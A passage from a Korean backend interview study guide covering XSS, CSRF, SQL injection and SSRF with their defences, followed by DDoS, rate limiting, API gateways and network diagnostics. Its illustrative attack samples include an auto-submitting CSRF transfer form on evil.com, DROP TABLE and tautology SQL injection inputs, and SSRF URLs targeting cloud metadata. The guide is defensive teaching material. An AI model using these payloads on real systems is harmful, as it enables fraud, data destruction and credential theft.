│ Thymeleaf: th:text="${userInput}" (자동 이스케이프) │
│ th:utext="${userInput}" (이스케이프 안 함 — 주의!) │
│ │
│ ② Content-Security-Policy (CSP) 헤더 │
│ Content-Security-Policy: default-src 'self'; │
│ script-src 'self' https://cdn.example.com│
│ → 허용된 출처의 스크립트만 실행 │
│ → 인라인 스크립트 차단 (공격 스크립트 대부분 차단) │
│ │
│ ③ HttpOnly 쿠키 │
│ Set-Cookie: sessionId=abc; HttpOnly; Secure; SameSite=Strict │
│ → JavaScript에서 document.cookie로 접근 불가 │
│ → XSS로 쿠키 탈취 방지 │
│ │
│ ④ 입력값 검증 + 새니타이징 │
│ → HTML 태그 제거 또는 허용 태그만 화이트리스트 │
│ → Java: OWASP Java HTML Sanitizer 라이브러리 │
└────────────────────────────────────────────────────────────────────────┘
6.2 CSRF (Cross-Site Request Forgery)
피해자가 로그인된 상태에서 공격자가 만든 페이지를 방문하면, 피해자의 권한으로 의도하지 않은 요청이 전송되는 공격이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌────────────────────────────────────────────────────────────────────────┐
│ CSRF 공격 시나리오 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ 전제: 피해자가 bank.com에 로그인한 상태 (세션 쿠키 보유) │
│ │
│ 1. 공격자가 evil.com에 악성 페이지 생성 │
│ <img src="https://bank.com/transfer?to=attacker&amount=1000000"> │
│ 또는 │
│ <form action="https://bank.com/transfer" method="POST"> │
│ <input name="to" value="attacker"> │
│ <input name="amount" value="1000000"> │
│ </form> │
│ <script>document.forms[0].submit();</script> │
│ │
│ 2. 피해자가 evil.com 방문 (링크 클릭, 이메일 등) │
│ │
│ 3. 브라우저가 bank.com으로 요청 전송 │
│ → 브라우저는 bank.com 쿠키를 자동 포함 │
│ → bank.com 서버는 정상 요청으로 인식 │
│ → 피해자 계좌에서 100만원 이체 │
│ │
│ 핵심: 브라우저가 해당 도메인의 쿠키를 자동으로 보내는 특성 악용 │
└────────────────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌────────────────────────────────────────────────────────────────────────┐
│ CSRF 방어 전략 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ① CSRF 토큰 (Synchronizer Token Pattern) │
│ 서버가 폼마다 랜덤 토큰을 생성하여 hidden 필드에 포함 │
│ <input type="hidden" name="_csrf" value="a1b2c3d4"> │
│ → 공격자는 이 토큰을 모르므로 유효한 요청을 만들 수 없음 │
│ → Spring Security 기본 활성화 │
│ │
│ ② SameSite 쿠키 │
│ Set-Cookie: sessionId=abc; SameSite=Strict │
│ → Strict: 다른 사이트에서의 모든 요청에 쿠키 미포함 │
│ → Lax: GET은 허용, POST/PUT/DELETE에는 쿠키 미포함 │
│ → 최신 브라우저 기본값: Lax │
│ │
│ ③ Referer/Origin 헤더 검증 │
│ 요청의 Referer가 자사 도메인인지 확인 │
│ → 보조 수단 (Referer는 제거될 수 있음) │
│ │
│ ④ REST API에서의 CSRF │
│ → JWT를 Authorization 헤더로 전송하면 CSRF 면역 │
│ → 쿠키 기반 인증이 아니므로 자동 전송 없음 │
│ → Spring Security에서 REST API는 CSRF 비활성화하는 경우 많음 │
└────────────────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Spring Security CSRF 설정
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf
// REST API 경로는 CSRF 비활성화 (JWT 사용)
.ignoringRequestMatchers("/api/**")
// 웹 폼 경로는 CSRF 활성화 유지
);
return http.build();
}
}
6.3 SQL Injection
사용자 입력이 SQL 쿼리에 그대로 삽입되어 의도하지 않은 SQL이 실행되는 공격이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌────────────────────────────────────────────────────────────────────────┐
│ SQL Injection 공격 원리 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ■ 취약한 코드 │
│ String query = "SELECT * FROM users WHERE username = '" │
│ + userInput + "' AND password = '" + pwInput + "'"; │
│ │
│ ■ 정상 입력 │
│ username: admin │
│ password: 1234 │
│ → SELECT * FROM users WHERE username = 'admin' AND password = '1234' │
│ │
│ ■ 공격 입력 │
│ username: admin' OR '1'='1' -- │
│ password: (아무 값) │
│ → SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' │
│ AND password = '...' │
│ │
│ 분석: │
│ username = 'admin' OR '1'='1' → 항상 참 │
│ -- → 이후 구문 주석 처리 │
│ → 비밀번호 검증 없이 admin으로 로그인 │
│ │
│ ■ 더 위험한 공격 │
│ username: '; DROP TABLE users; -- │
│ → SELECT * FROM users WHERE username = ''; │
│ DROP TABLE users; │
│ -- AND password = '...' │
│ → users 테이블 삭제! │
└────────────────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌────────────────────────────────────────────────────────────────────────┐
│ SQL Injection 방어 전략 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ① Prepared Statement (파라미터 바인딩) — 가장 확실한 방어 │
│ │
│ // ❌ 위험 — 문자열 결합 │
│ String sql = "SELECT * FROM users WHERE id = " + userInput; │
│ │
│ // ✅ 안전 — Prepared Statement │
│ PreparedStatement ps = conn.prepareStatement( │
│ "SELECT * FROM users WHERE id = ?"); │
│ ps.setLong(1, userId); │
│ → ? 자리에 값이 바인딩됨 (SQL 구문으로 해석되지 않음) │
│ → admin' OR '1'='1 → 문자열 "admin' OR '1'='1"로 처리 │
│ │
│ ② JPA/Hibernate 사용 │
│ → JPQL 파라미터 바인딩이 내부적으로 Prepared Statement 사용 │
│ → @Query("SELECT u FROM User u WHERE u.name = :name") │
│ → 안전 │
│ → 네이티브 쿼리에서 문자열 결합하면 여전히 위험! │
│ │
│ ③ 입력값 검증 │
│ → 숫자 필드에 문자열 입력 차단 │
│ → 특수문자(', ", ;, --) 필터링 (보조 수단) │
│ │
│ ④ 최소 권한 원칙 │
│ → 애플리케이션 DB 계정에 DROP, ALTER 권한을 주지 않음 │
│ → 인젝션 성공해도 피해 범위 제한 │
│ │
│ ⑤ WAF (Web Application Firewall) │
│ → SQL Injection 패턴을 탐지하여 차단 (보조 수단) │
└────────────────────────────────────────────────────────────────────────┘
6.4 SSRF (Server-Side Request Forgery)
서버가 사용자 입력으로 받은 URL에 내부 네트워크 요청을 보내게 하는 공격이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌────────────────────────────────────────────────────────────────────────┐
│ SSRF 공격 시나리오 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ // 취약한 코드 — 사용자가 입력한 URL의 콘텐츠를 가져옴 │
│ @GetMapping("/fetch") │
│ public String fetchUrl(@RequestParam String url) { │
│ return restTemplate.getForObject(url, String.class); │
│ } │
│ │
│ 정상 사용: │
│ /fetch?url=https://api.example.com/data │
│ │
│ 공격: │
│ /fetch?url=http://169.254.169.254/latest/meta-data/ │
│ → AWS 메타데이터 서비스 접근! (IAM 크레덴셜 탈취 가능) │
│ │
│ /fetch?url=http://localhost:6379/ │
│ → 내부 Redis에 접근! │
│ │
│ /fetch?url=http://10.0.1.5:8080/admin │
│ → 내부 관리자 페이지 접근! │
│ │
│ 핵심: 외부에서 접근 불가능한 내부 리소스에 │
│ 서버를 "프록시"로 이용하여 접근 │
├────────────────────────────────────────────────────────────────────────┤
│ 방어: │
│ ① URL 화이트리스트 — 허용된 도메인/IP만 접근 가능 │
│ ② 내부 IP 대역 차단 — 10.*, 172.16-31.*, 192.168.*, 169.254.*, etc │
│ ③ DNS Rebinding 방어 — 요청 전에 DNS 결과의 IP 확인 │
│ ④ AWS: IMDSv2 사용 — 메타데이터 접근에 토큰 필요 │
└────────────────────────────────────────────────────────────────────────┘
6.5 웹 보안 요약 비교
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──────────┬───────────────────┬──────────────┬──────────────────────────┐
│ 공격 │ 공격 대상 │ 핵심 원리 │ 핵심 방어 │
├──────────┼───────────────────┼──────────────┼──────────────────────────┤
│ XSS │ 사용자 브라우저 │ 악성 스크립트 │ 출력 이스케이프, CSP, │
│ │ │ 삽입 │ HttpOnly 쿠키 │
├──────────┼───────────────────┼──────────────┼──────────────────────────┤
│ CSRF │ 서버 (피해자 권한) │ 쿠키 자동 │ CSRF 토큰, │
│ │ │ 전송 악용 │ SameSite 쿠키 │
├──────────┼───────────────────┼──────────────┼──────────────────────────┤
│ SQLi │ 데이터베이스 │ SQL 구문 │ Prepared Statement, │
│ │ │ 조작 │ 파라미터 바인딩 │
├──────────┼───────────────────┼──────────────┼──────────────────────────┤
│ SSRF │ 내부 네트워크 │ 서버를 프록시 │ URL 화이트리스트, │
│ │ │ 로 악용 │ 내부 IP 차단 │
└──────────┴───────────────────┴──────────────┴──────────────────────────┘
7. DDoS 공격과 방어
7.1 DDoS란
DDoS(Distributed Denial of Service)는 다수의 좀비 PC(봇넷)에서 동시에 대량의 트래픽을 보내 서버/네트워크 자원을 소진시켜 정상 사용자가 서비스를 이용할 수 없게 만드는 공격이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌────────────────────────────────────────────────────────────────────────┐
│ DDoS 공격 유형 (OSI 계층별) │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ■ L3/L4 공격 (네트워크/전송 계층) — 대역폭 소진 │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ • SYN Flood: 대량의 TCP SYN 패킷 전송 │ │
│ │ → 서버가 SYN-ACK 보내고 ACK 대기 (half-open 상태) │ │
│ │ → 서버의 backlog 큐가 가득 참 → 정상 연결 불가 │ │
│ │ │ │
│ │ • UDP Flood: 대량의 UDP 패킷을 랜덤 포트로 전송 │ │
│ │ → 서버가 ICMP "Destination Unreachable" 응답 시도 │ │
│ │ → 네트워크 대역폭과 CPU 소진 │ │
│ │ │ │
│ │ • ICMP Flood (Ping Flood): 대량의 ping 요청 │ │
│ │ → 대역폭 소진 │ │
│ │ │ │
│ │ • Amplification Attack (증폭 공격): │ │
│ │ DNS/NTP 서버에 출발지 IP를 피해자 IP로 위조한 요청 전송│ │
│ │ → 작은 요청에 대해 큰 응답이 피해자에게 전달 │ │
│ │ → DNS: 요청 60B → 응답 4000B (66배 증폭) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ ■ L7 공격 (응용 계층) — 서버 리소스 소진 │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ • HTTP Flood: 정상적으로 보이는 HTTP 요청을 대량 전송 │ │
│ │ → 로그인, 검색 등 DB 쿼리가 필요한 페이지 집중 공격 │ │
│ │ → L3/L4 필터로 차단이 어려움 (정상 트래픽과 구분 난해) │ │
│ │ │ │
│ │ • Slowloris: HTTP 헤더를 매우 느리게 전송 │ │
│ │ → 서버가 연결을 유지하며 헤더 완성 대기 │ │
│ │ → 커넥션 풀/스레드 풀 고갈 │ │
│ │ │ │
│ │ • R.U.D.Y (Are You Dead Yet): POST 바디를 1바이트씩 │ │
│ │ → Slowloris와 유사하게 연결 장시간 점유 │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ ■ 공격 규모 예시 │
│ 소규모: ~1 Gbps (소규모 사이트 마비 가능) │
│ 중규모: ~100 Gbps (대형 서비스도 영향) │
│ 대규모: ~1+ Tbps (AWS DDoS 최대 기록: 2.3 Tbps, 2020년) │
└────────────────────────────────────────────────────────────────────────┘
7.2 DDoS 방어 전략
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌────────────────────────────────────────────────────────────────────────┐
│ DDoS 방어 계층별 전략 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ① 네트워크 계층 방어 │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ • 대역폭 과다 프로비저닝 — 정상 트래픽의 5~10배 │ │
│ │ • BGP Blackhole Routing — 공격 IP 대역 트래픽을 /dev/null│ │
│ │ • Rate Limiting (IP 기반) — 단일 IP의 초당 요청 수 제한 │ │
│ │ • SYN Cookie — SYN Flood 방어, backlog 큐 불필요 │ │
│ │ → SYN 받으면 쿠키 값으로 SYN-ACK, ACK의 쿠키 검증 │ │
│ │ → 정상 ACK만 커넥션 생성 │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ ② CDN/프록시 계층 방어 │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ • Cloudflare, AWS CloudFront, Akamai 등 │ │
│ │ • 전 세계 Edge 서버에서 트래픽 흡수 (Anycast) │ │
│ │ • 오리진 서버 IP를 숨김 │ │
│ │ • 자동 DDoS 감지 및 차단 (머신러닝 기반) │ │
│ │ • 챌린지 페이지 (JavaScript Challenge, CAPTCHA) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ ③ 애플리케이션 계층 방어 │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ • WAF (Web Application Firewall) │ │
│ │ → HTTP 요청 패턴 분석, 비정상 요청 차단 │ │
│ │ • Rate Limiting (API 레벨) │ │
│ │ → 사용자/API 키별 요청 수 제한 │ │
│ │ • Auto Scaling │ │
│ │ → 트래픽 증가 시 서버 자동 확장 (완화 수단) │ │
│ │ • Connection Timeout 조정 │ │
│ │ → Slowloris 방어: 헤더 수신 타임아웃 짧게 설정 │ │
│ │ → Nginx: client_header_timeout 10s │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ ④ AWS 환경에서의 DDoS 방어 스택 │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ AWS Shield Standard — 무료, L3/L4 자동 방어 │ │
│ │ AWS Shield Advanced — 유료, L7 방어 + 전담 대응팀 │ │
│ │ AWS WAF — L7 규칙 기반 필터링 │ │
│ │ CloudFront — CDN + DDoS 흡수 │ │
│ │ Route 53 — DNS 레벨 라우팅 + 헬스 체크 │ │
│ └──────────────────────────────────────────────────────────┘ │
└────────────────────────────────────────────────────────────────────────┘
8. Rate Limiting (요청 제한)
8.1 Rate Limiting이란
특정 시간 동안 허용되는 요청 수를 제한하여 서버를 보호하는 기법이다. DDoS 방어뿐 아니라 API 남용 방지, 공정한 자원 분배에도 사용된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌────────────────────────────────────────────────────────────────────────┐
│ Rate Limiting 알고리즘 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ■ Fixed Window Counter (고정 윈도우) │
│ 시간 윈도우(1분)마다 카운터 초기화 │
│ │
│ |--- 1분 ---|--- 1분 ---| │
│ [ 50 req ][ 50 req ] limit: 100 req/min │
│ │
│ 문제: 윈도우 경계에서 버스트 가능 │
│ → 0:59에 100개 + 1:00에 100개 = 1초 간 200개 통과 │
│ │
│ ■ Sliding Window Log (슬라이딩 윈도우 로그) │
│ 각 요청의 타임스탬프를 기록, 윈도우 내 요청 수 계산 │
│ → 정확하지만 메모리 사용량 많음 │
│ │
│ ■ Sliding Window Counter (슬라이딩 윈도우 카운터) │
│ 이전 윈도우의 비율 + 현재 윈도우 카운트로 근사 계산 │
│ → Fixed Window와 Sliding Log의 절충안 │
│ │
│ ■ Token Bucket (토큰 버킷) — 가장 널리 사용 │
│ 일정 속도로 토큰이 버킷에 추가됨 │
│ 요청 시 토큰 1개 소비, 토큰 없으면 거부 │
│ │
│ ┌──── 토큰 버킷 ────┐ │
│ │ ○ ○ ○ ○ ○ ○ ○ │ ← 토큰 (버킷 용량 = 10) │
│ │ │ ← 초당 5개씩 추가 (refill rate) │
│ └───────────────────┘ │
│ 요청 → ○ 토큰 소비 → 처리 │
│ 요청 → 토큰 없음 → 429 Too Many Requests │
│ │
│ 장점: 버스트 허용 (버킷에 쌓인 만큼), 평균 속도 제한 │
│ │
│ ■ Leaky Bucket (누출 버킷) │
│ 요청이 버킷에 들어가고, 일정 속도로 처리됨 │
│ 버킷이 가득 차면 새 요청 거부 │
│ │
│ 장점: 출력 속도가 일정 (트래픽 평탄화) │
│ 단점: 버스트 불가 │
└────────────────────────────────────────────────────────────────────────┘
8.2 Rate Limiting 구현 위치
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌────────────────────────────────────────────────────────────────────────┐
│ Rate Limiting 적용 위치별 비교 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ Client → [CDN/LB] → [API Gateway] → [App Server] → DB │
│ ① ② ③ │
│ │
│ ① 인프라 레벨 (Nginx, CDN, LB) │
│ → IP 기반 제한, 가장 빠른 차단 │
│ → Nginx: limit_req_zone $binary_remote_addr rate=10r/s │
│ → Cloudflare Rate Limiting 규칙 │
│ │
│ ② API Gateway 레벨 (Kong, AWS API Gateway) │
│ → API 키/사용자별 제한, 유료 플랜별 차등 │
│ → AWS API Gateway: 초당 10,000 요청, 계정당 제한 │
│ │
│ ③ 애플리케이션 레벨 (Spring, Express) │
│ → 비즈니스 로직 기반 제한 (예: 1인 1일 5회 리뷰) │
│ → 분산 환경: Redis 기반 공유 카운터 │
│ │
│ ⚠️ 분산 서버 환경에서의 Rate Limiting: │
│ 서버 3대가 각각 로컬 카운터를 관리하면 │
│ → 서버당 100 req/s × 3대 = 총 300 req/s 허용 (의도는 100) │
│ → Redis 같은 중앙 저장소에서 카운터를 공유해야 정확함 │
└────────────────────────────────────────────────────────────────────────┘
8.3 Spring Boot에서의 Rate Limiting (Bucket4j)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// Bucket4j + Redis 기반 분산 Rate Limiting
@Component
public class RateLimitFilter extends OncePerRequestFilter {
private final ProxyManager<String> proxyManager; // Redis 기반
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain chain) throws ServletException, IOException {
String clientIp = request.getHeader("X-Forwarded-For");
if (clientIp == null) clientIp = request.getRemoteAddr();
// IP별 토큰 버킷 생성/조회
Bucket bucket = proxyManager.builder()
.build(clientIp, () -> BucketConfiguration.builder()
.addLimit(Bandwidth.classic(100, // 버킷 용량 100
Refill.intervally(100, Duration.ofMinutes(1)))) // 1분에 100개 리필
.build());
if (bucket.tryConsume(1)) {
// 토큰 소비 성공 → 요청 처리
long remaining = bucket.getAvailableTokens();
response.setHeader("X-RateLimit-Remaining", String.valueOf(remaining));
chain.doFilter(request, response);
} else {
// 토큰 부족 → 429 응답
response.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());
response.setHeader("Retry-After", "60");
response.getWriter().write("Rate limit exceeded. Try again later.");
}
}
}
9. API Gateway
9.1 API Gateway란
MSA 환경에서 모든 외부 요청의 단일 진입점 역할을 하는 서버다. Reverse Proxy + 로드밸런서 + 인증/인가 + Rate Limiting + 로깅을 결합한 인프라 컴포넌트다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌────────────────────────────────────────────────────────────────────────┐
│ Without API Gateway With API Gateway │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ Client ──→ User Service Client ──→ ┌──────────────┐ │
│ Client ──→ Order Service │ API Gateway │ │
│ Client ──→ Payment Service │ │ │
│ Client ──→ Notification Service │ • 인증/인가 │ │
│ │ • Rate Limit │ │
│ 문제: │ • 로깅 │ │
│ • 클라이언트가 각 서비스 주소를 알아야 함 │ • 라우팅 │ │
│ • 인증 로직이 각 서비스에 중복 │ • 프로토콜 변환│ │
│ • CORS, Rate Limit도 각각 구현 └──┬──┬──┬──┬──┘ │
│ • 서비스 추가/변경 시 클라이언트 수정 필요 │ │ │ │ │
│ User Order Pay Noti │
│ Svc Svc Svc Svc │
└────────────────────────────────────────────────────────────────────────┘
9.2 API Gateway의 주요 기능
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌────────────────────────────────────────────────────────────────────────┐
│ API Gateway 핵심 기능 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ① 요청 라우팅 │
│ /api/users/** → User Service (localhost:8081) │
│ /api/orders/** → Order Service (localhost:8082) │
│ /api/payments/** → Payment Service (localhost:8083) │
│ │
│ ② 인증/인가 (Authentication/Authorization) │
│ → JWT 검증을 Gateway에서 1회 수행 │
│ → 유효한 토큰의 요청만 내부 서비스로 전달 │
│ → 각 서비스에서 중복 인증 불필요 │
│ │
│ ③ Rate Limiting │
│ → API 키별, 사용자별, IP별 요청 수 제한 │
│ → 유료 플랜별 차등 제한 (Free: 100/h, Pro: 10,000/h) │
│ │
│ ④ 로드 밸런싱 │
│ → 같은 서비스의 여러 인스턴스에 트래픽 분산 │
│ → Service Discovery (Eureka, K8s) 연동 │
│ │
│ ⑤ 요청/응답 변환 │
│ → 헤더 추가/제거, 경로 재작성(path rewrite) │
│ → gRPC ↔ REST 프로토콜 변환 │
│ → 응답 집계 (여러 서비스 응답을 하나로 합치기) │
│ │
│ ⑥ Circuit Breaker (서킷 브레이커) │
│ → 하위 서비스 장애 시 빠른 실패 반환 (cascading failure 방지) │
│ → 장애 서비스로의 요청 차단 → fallback 응답 │
│ │
│ ⑦ 로깅/모니터링 │
│ → 모든 API 호출 기록 (요청/응답, 지연시간) │
│ → 중앙화된 메트릭 수집 │
│ │
│ 대표 솔루션: │
│ • Spring Cloud Gateway (Spring 생태계) │
│ • Kong (오픈소스, 플러그인 풍부) │
│ • AWS API Gateway (서버리스, 관리형) │
│ • Nginx + Lua (경량, 고성능) │
│ • Envoy (서비스 메시 연동, Istio) │
└────────────────────────────────────────────────────────────────────────┘
9.3 Spring Cloud Gateway 설정 예시
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# application.yml
spring:
cloud:
gateway:
routes:
- id: user-service
uri: lb://USER-SERVICE # Eureka 서비스 디스커버리 연동
predicates:
- Path=/api/users/** # 경로 매칭
filters:
- StripPrefix=1 # /api 제거 후 전달
- name: CircuitBreaker # 서킷 브레이커
args:
name: userServiceCB
fallbackUri: forward:/fallback/users
- id: order-service
uri: lb://ORDER-SERVICE
predicates:
- Path=/api/orders/**
filters:
- StripPrefix=1
- name: RequestRateLimiter # Rate Limiting
args:
redis-rate-limiter.replenishRate: 10 # 초당 10개 토큰
redis-rate-limiter.burstCapacity: 20 # 최대 버스트 20개
key-resolver: "#{@userKeyResolver}" # 사용자별 제한
10. 네트워크 장애 진단 도구
면접에서 “서버에 접속이 안 될 때 어떻게 디버깅하시나요?”에 답하려면 알아야 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
┌────────────────────────────────────────────────────────────────────────┐
│ 네트워크 장애 진단 순서 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ■ Step 1: ping — 대상에 도달 가능한가? │
│ $ ping google.com │
│ PING google.com (142.250.196.46): 56 bytes │
│ 64 bytes from 142.250.196.46: time=3.2ms │
│ │
│ → 응답 있으면: 네트워크 연결 OK │
│ → 응답 없으면: 네트워크 단절, 방화벽 차단, 대상 다운 │
│ → ICMP를 차단하는 서버도 있으므로 ping 실패 ≠ 반드시 장애 │
│ │
│ ■ Step 2: traceroute — 어디서 막히는가? │
│ $ traceroute api.example.com │
│ 1 192.168.1.1 1.2ms ← 공유기 │
│ 2 10.0.0.1 5.3ms ← ISP 라우터 │
│ 3 72.14.233.81 8.1ms ← 중간 라우터 │
│ 4 * * * ← 여기서 막힘! │
│ 5 142.250.196.46 15.2ms ← 도착 │
│ │
│ → 어느 홉(hop)에서 지연/차단이 발생하는지 확인 │
│ → * * *이면 해당 라우터가 ICMP를 차단하거나 장애 │
│ │
│ ■ Step 3: nslookup/dig — DNS 문제인가? │
│ $ nslookup api.example.com │
│ Server: 8.8.8.8 │
│ Address: 142.250.196.46 │
│ │
│ → 도메인이 IP로 잘 변환되는지 확인 │
│ → NXDOMAIN이면 DNS 레코드 문제 │
│ → 다른 DNS 서버(8.8.8.8)로 바꿔서 테스트하면 캐시 문제 확인 가능 │
│ │
│ ■ Step 4: curl — HTTP 레벨 동작 확인 │
│ $ curl -v https://api.example.com/health │
│ * Trying 142.250.196.46:443... │
│ * Connected │
│ * TLS handshake completed │
│ > GET /health HTTP/1.1 │
│ < HTTP/1.1 200 OK │
│ │
│ → TCP 연결, TLS, HTTP 응답 각 단계 확인 가능 │
│ → -v 플래그로 상세 정보 출력 │
│ │
│ ■ Step 5: netstat/ss — 포트 상태 확인 │
│ $ ss -tlnp │
│ State Local Address:Port Process │
│ LISTEN 0.0.0.0:8080 java (pid=1234) │
│ LISTEN 0.0.0.0:443 nginx (pid=567) │
│ │
│ → 서버에서 애플리케이션이 해당 포트를 리스닝하고 있는지 확인 │
│ → LISTEN 상태가 아니면 프로세스가 죽었거나 포트가 다름 │
│ │
│ ■ 종합 진단 흐름도 │
│ 접속 불가 → ping (네트워크?) → traceroute (어디서?) │
│ → nslookup (DNS?) → curl (HTTP?) │
│ → ss (포트?) → 애플리케이션 로그 확인 │
└────────────────────────────────────────────────────────────────────────┘
11. 면접 질문 & 답변
Q1. Forward Proxy와 Reverse Proxy의 차이를 설명해주세요.
Forward Proxy는 클라이언트 측에 위치하여 클라이언트를 대신해 서버에 요청을 보냅니다. 서버는 실제 클라이언트가 누구인지 모릅니다. 기업 내부에서 인터넷 접근 시 IP를 숨기거나 유해 사이트를 차단하는 데 사용합니다.
Reverse Proxy는 서버 측에 위치하여 클라이언트 요청을 받아 내부 서버에 전달합니다. 클라이언트는 실제 서버가 누구인지 모릅니다. 로드 밸런싱, SSL Termination, 정적 파일 캐싱, 보안(DDoS 방어)에 사용하며, 대표적으로 Nginx, HAProxy가 있습니다.
핵심 차이는 누구를 보호하는가입니다. Forward Proxy는 클라이언트를, Reverse Proxy는 서버를 보호합니다.
Q2. L4 로드밸런서와 L7 로드밸런서의 차이는?
L4 로드밸런서는 전송 계층(TCP/UDP)에서 동작하며 IP 주소와 포트 번호만 보고 트래픽을 분산합니다. 패킷 내용을 확인하지 않으므로 빠르지만, URL이나 헤더 기반 라우팅은 불가합니다. AWS NLB가 대표적입니다.
L7 로드밸런서는 응용 계층(HTTP)에서 동작하며 URL 경로, Host 헤더, 쿠키 등 HTTP 메시지 내용을 파싱하여 라우팅합니다. /api/*는 API 서버로, /static/*는 파일 서버로 보내는 콘텐츠 기반 라우팅이 가능합니다. SSL Termination도 처리합니다. AWS ALB, Nginx가 대표적입니다.
실무에서는 L7 ALB를 주로 사용하고, 극도로 높은 성능이 필요하거나 TCP/UDP 프로토콜을 직접 다뤄야 할 때 L4 NLB를 사용합니다.
Q3. 로드 밸런싱 알고리즘 중 어떤 것을 선택하시겠습니까?
서버 사양이 동일하고 요청 처리 시간이 비슷하면 Round Robin이 가장 단순하고 효과적입니다. 서버 사양이 다르면 Weighted Round Robin으로 가중치를 부여합니다.
요청마다 처리 시간이 크게 다르면(파일 업로드, 복잡한 쿼리 등) Least Connections가 적합합니다. 현재 활성 연결이 적은 서버에 우선 배분하므로 부하가 자연스럽게 균형을 이룹니다.
세션 기반 인증을 사용하고 외부 세션 저장소가 없다면 IP Hash로 Sticky Session 효과를 얻을 수 있지만, 이보다는 Redis 같은 외부 세션 저장소를 사용하여 Stateless하게 만드는 것이 확장성 면에서 좋습니다.
Q4. WebSocket은 어떤 상황에서 사용하나요? HTTP와의 차이는?
HTTP는 요청-응답 모델이라 서버가 먼저 클라이언트에 데이터를 보낼 수 없지만, WebSocket은 전이중(Full-Duplex) 양방향 통신이 가능합니다. 한 번 연결하면 양쪽이 독립적으로 메시지를 주고받을 수 있고, 매 요청마다 HTTP 헤더를 보내지 않으므로 오버헤드가 매우 작습니다(프레임 헤더 2바이트).
실시간 채팅, 멀티플레이어 게임, 주식 실시간 시세, 실시간 협업 도구 등 양방향 + 저지연 + 고빈도 통신이 필요한 경우 사용합니다.
단방향 서버 푸시만 필요하면(알림, 피드) SSE가 더 단순합니다. SSE는 HTTP 위에서 동작하므로 기존 인프라(프록시, LB)와의 호환성이 좋고, 자동 재연결을 브라우저가 지원합니다.
Q5. gRPC는 REST와 무엇이 다르고, 언제 사용하나요?
gRPC는 HTTP/2 위에서 Protocol Buffers(바이너리 직렬화)를 사용하는 RPC 프레임워크입니다. REST 대비 직렬화 속도 약 10배, 메시지 크기 약 1/3로 고성능 서비스 간 통신에 적합합니다.
.proto 파일에서 인터페이스를 정의하면 클라이언트/서버 코드가 자동 생성되어 타입 안전성이 보장되고, Unary, Server Streaming, Client Streaming, Bidirectional Streaming 4가지 통신 패턴을 지원합니다.
MSA 환경에서 백엔드 서비스 간 내부 통신에 주로 사용합니다. 브라우저에서 직접 호출이 어려우므로(gRPC-Web 필요), 클라이언트-서버 간 공개 API는 REST, 서비스 간 내부 통신은 gRPC로 조합하는 것이 일반적입니다.
Q6. XSS 공격이 무엇이고, 어떻게 방어하나요?
